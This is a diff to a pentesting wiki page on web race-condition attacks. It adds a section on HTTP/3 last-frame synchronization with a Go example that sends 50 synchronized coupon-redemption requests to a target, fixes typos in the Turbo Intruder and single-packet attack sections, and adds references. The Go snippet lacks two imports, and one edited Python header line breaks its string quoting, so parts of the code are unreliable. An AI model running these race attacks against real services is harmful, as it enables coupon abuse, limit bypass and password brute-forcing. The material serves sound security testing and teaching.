diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 7b7be411f62..f571699907e 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -25,6 +25,41 @@ Here you can find some techniques for Synchronizing Requests: The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks. +#### HTTP/3 Last‑Frame Synchronization (QUIC) + +- **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick. +- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body. + - Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together. + - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram. +- **Practical limits**: + - Concurrency is bounded by the peer’s QUIC max_streams transport parameter (similar to HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). If it’s low, open multiple H3 connections and spread the race across them. + - UDP datagram size and path MTU cap how many stream‑final frames you can coalesce. The library handles splitting into multiple datagrams if needed, but a single‑datagram flush is most reliable. +- **Practice**: There are public H2/H3 race labs and sample exploits accompanying H3SpaceX. + +
+HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example + +```go +package main +import ( + "crypto/tls" + "context" + "time" + "github.com/nxenon/h3spacex" + h3 "github.com/nxenon/h3spacex/http3" +) +func main(){ + tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}} + quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond} + conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf) + var reqs []*http.Request + for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) } + // keep last byte (1), sleep 150ms, set Content-Length + h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true) +} +``` +
+ ### Adapting to Server Architecture Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing. @@ -39,7 +74,7 @@ If connection warming is ineffective, triggering web servers' rate or resource l ## Attack Examples -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down: +- **Turbo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
@@ -54,7 +89,7 @@ If you are going to **send different values**, you could modify the code with th > [!WARNING] > If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`. -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like: +- **Turbo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like: ```python def queueRequests(target, wordlists): @@ -112,14 +147,14 @@ cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded -Cookie: """+cookie+""" +Cookie: "+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 -Cookie: """+cookie+""" +Cookie: "+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" @@ -235,10 +270,10 @@ while "objetivo" not in response.text: In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. -Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\ -This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). +Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.\ +This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections. -You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +You can find some examples using this technique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF @@ -378,7 +413,7 @@ if user.mfa_enabled: ### OAuth2 eternal persistence There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\ -So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_" +So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application wants to access you information, do you want to allow it?_" #### Race Condition in `authorization_code` @@ -404,9 +439,7 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se - [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) - [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) - [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex) +- [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/) {{#include ../banners/hacktricks-training.md}} - - - -